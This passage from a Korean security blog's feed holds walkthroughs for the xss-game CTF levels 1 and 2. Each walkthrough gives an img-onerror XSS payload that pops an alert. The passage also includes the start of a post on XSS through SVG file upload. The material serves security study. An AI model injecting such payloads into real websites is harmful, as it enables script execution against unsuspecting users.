&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;469&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sLhg3/dJMcaia87N7/ShX09jyOywgHWMVZt1ueM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sLhg3/dJMcaia87N7/ShX09jyOywgHWMVZt1ueM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sLhg3/dJMcaia87N7/ShX09jyOywgHWMVZt1ueM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsLhg3%2FdJMcaia87N7%2FShX09jyOywgHWMVZt1ueM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;397&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;469&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script 태그 삽입이 가능하므로 스크립트를 삽입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck696v/dJMcah4mJaL/GM9RFSkvFg4BOPKlx6HQ3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck696v/dJMcah4mJaL/GM9RFSkvFg4BOPKlx6HQ3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck696v/dJMcah4mJaL/GM9RFSkvFg4BOPKlx6HQ3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck696v%2FdJMcah4mJaL%2FGM9RFSkvFg4BOPKlx6HQ3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;401&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 어떠한 필터링으로 인해 삽입된 스크립트가 실행되지 않으며 CTF를 클리어하지 못하는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;[설명]&amp;nbsp;&lt;br /&gt;&lt;br /&gt;문제 code를 보게 되면 사용자가 입력한 값은 innerHTML을 통해 삽입이 됩니다. innerHTML을 통해 script 태그를 삽입할 경우 태그는 삽입이 가능하지만 실행은 되지 않습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK7ybg/dJMcacaVMMq/JhGV6GiObiIsggnHPyK8Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK7ybg/dJMcacaVMMq/JhGV6GiObiIsggnHPyK8Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK7ybg/dJMcacaVMMq/JhGV6GiObiIsggnHPyK8Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK7ybg%2FdJMcacaVMMq%2FJhGV6GiObiIsggnHPyK8Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;403&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;script 태그 삽입이 가능하지만 실행이 되지 않기 때문에 다른 방법을 실행해야 합니다. 이벤트 속성을 이용하여 우회를 할 수 있기 때문에 img 태그와 이벤트 속성을 이용한 페이로드를 삽입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;페이로드 : &amp;lt;img src='x' onerror=alert('xss')&amp;gt;&lt;br /&gt;&lt;br /&gt;이벤트 속성을 이용할 경우 innerHTML로 태그가 삽입되었다고 해도 이벤트 속성에 해당하는 이벤트가 발생했을 때 실행되기 때문에 XSS 공격을 성공시킬 수 있습니다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHxekw/dJMcai9Y7mS/XIlUKWWU92vAA7HaCMFqV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHxekw/dJMcai9Y7mS/XIlUKWWU92vAA7HaCMFqV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHxekw/dJMcai9Y7mS/XIlUKWWU92vAA7HaCMFqV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHxekw%2FdJMcai9Y7mS%2FXIlUKWWU92vAA7HaCMFqV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;404&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dSRENS/dJMcacWgHtO/ckyKoLjCqP5MtMjMR75cpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dSRENS/dJMcacWgHtO/ckyKoLjCqP5MtMjMR75cpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dSRENS/dJMcacWgHtO/ckyKoLjCqP5MtMjMR75cpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdSRENS%2FdJMcacWgHtO%2FckyKoLjCqP5MtMjMR75cpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;458&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/19</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-26#entry19comment</comments>
      <pubDate>Thu, 5 Feb 2026 00:27:19 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (1/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-16</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://xss-game.appspot.com/level1&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;목표 &amp;amp; 사용 도구&amp;nbsp;&lt;/span&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구: &lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - &lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level1&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속한 뒤 입력란에 특수문자 4개&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &amp;lt; &lt;/span&gt;, &lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 Search 버튼을 클릭합니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EJLt6/dJMcah4lPgO/QLokDMAKu7qyhSG1yLSRuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EJLt6/dJMcah4lPgO/QLokDMAKu7qyhSG1yLSRuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EJLt6/dJMcah4lPgO/QLokDMAKu7qyhSG1yLSRuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEJLt6%2FdJMcah4lPgO%2FQLokDMAKu7qyhSG1yLSRuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;404&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;477&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 query 파라미터에 사용자 입력 값이 들어가며 특수문자 4개 전부 별다른 필터링이 없이 그대로 사용되고 있는 것을 알 수 있습니다. 이는 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;HTML과 javascript를 이용하여 스크립트를 삽입할 가능성이 있다는 것을 의미합니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;454&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bA6MjE/dJMcac2ZD69/Rg29Tmd72rsdieM9oeVHrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bA6MjE/dJMcac2ZD69/Rg29Tmd72rsdieM9oeVHrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bA6MjE/dJMcac2ZD69/Rg29Tmd72rsdieM9oeVHrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbA6MjE%2FdJMcac2ZD69%2FRg29Tmd72rsdieM9oeVHrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;385&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;454&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;query 파라미터에 script 태그를 입력하여 결과를 확인해 보면 script 태그를 사용할 수 없음을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmkQrJ/dJMcaiPFnYs/B1PYLi8ikPqMqE76SXIBIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmkQrJ/dJMcaiPFnYs/B1PYLi8ikPqMqE76SXIBIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmkQrJ/dJMcaiPFnYs/B1PYLi8ikPqMqE76SXIBIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmkQrJ%2FdJMcaiPFnYs%2FB1PYLi8ikPqMqE76SXIBIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;406&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 script 태그가 아닌 img 태그를 사용하여 결과를 확인해 보면 img 태그는 사용 가능하다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F284n/dJMcajgJU41/WuLTzA5D6TUc8zCBMROSF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F284n/dJMcajgJU41/WuLTzA5D6TUc8zCBMROSF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F284n/dJMcajgJU41/WuLTzA5D6TUc8zCBMROSF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF284n%2FdJMcajgJU41%2FWuLTzA5D6TUc8zCBMROSF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;397&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;img 태그와 이벤트 속성 onerror를 이용하여 스크립트를 삽입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드 : &amp;lt;img src='x' onerror=alert('xss')&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;img 태그의 src 속성은 image의 경로를 지정합니다. 경로를 지정하지 않는다면 error가 발생합니다. 이벤트 속성인 onerror를 설정했다면 error가 발생했을 때 이벤트 속성에 따라 처리됩니다. 해당 페이로드의 경우 이미지의 경로가 x(잘못된 경로)이므로 에러가 발생하며 &lt;br /&gt;onerror 속성에 따라 경고 창을 화면에 띄우게 됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8Zvks/dJMcaia77NU/FvHMDdDxnv3DzhK6VKCkyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8Zvks/dJMcaia77NU/FvHMDdDxnv3DzhK6VKCkyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8Zvks/dJMcaia77NU/FvHMDdDxnv3DzhK6VKCkyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8Zvks%2FdJMcaia77NU%2FFvHMDdDxnv3DzhK6VKCkyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;411&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E95hb/dJMcaac5DKX/uy2kB78olXRPkTbM6emBe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E95hb/dJMcaac5DKX/uy2kB78olXRPkTbM6emBe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E95hb/dJMcaac5DKX/uy2kB78olXRPkTbM6emBe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE95hb%2FdJMcaac5DKX%2Fuy2kB78olXRPkTbM6emBe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;397&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/18</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-16#entry18comment</comments>
      <pubDate>Mon, 2 Feb 2026 17:01:46 +0900</pubDate>
    </item>
    <item>
      <title>File Upload(파일 업로드) 취약점을 이용한 XSS 공격 with .SVG</title>
      <link>https://code000.tistory.com/entry/File-Upload%ED%8C%8C%EC%9D%BC-%EC%97%85%EB%A1%9C%EB%93%9C-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EA%B3%B5%EA%B2%A9-with-SVG</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;SVG 란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SVG&lt;/b&gt;(Scalable Vector Graphics)는 XML 기반의 벡터이미지 포멧을 말합니다. 이러한 SVG의 가장 큰 특징은 벡터 기반이기 때문에 크기를 확장하거나 축소해도 해상도가 유지가 된다는 점입니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 17px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 17px;&quot;&gt;* &lt;b&gt;XML&lt;/b&gt;(eXtensible Markup Language): 데이터를 구조적으로 표현하기 위한 마크업 언어입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;File Upload 취약점을 이용한 XSS&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드를 통해 공격자가 할 수 있는 공격 방식은 다양하게 존재합니다. 그 중에는 대표적으로 Web Shell 공격이 있으며 이번에 알아볼 공격 방식은 파일 업로드를 통해 XSS 공격을 시도해보는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;(Web Shell 공격은 제가 작성한 글을 참조해주세요!)&lt;/i&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;a style=&quot;color: #9d9d9d;&quot; href=&quot;https://code000.tistory.com/entry/%F0%9F%93%8CFile-Upload-%EC%B7%A8%EC%95%BD%EC%A0%90&quot;&gt;File Upload를 이용한 Web Shell 공격&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;File Upload 취약점을 이용한 XSS - 발생조건&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 업로드 기능이 존재해야 합니다.&lt;/li&gt;
&lt;li&gt;업로드된 경로에 접근이 가능해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;사용 도구&amp;nbsp;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Suite&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;실습&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
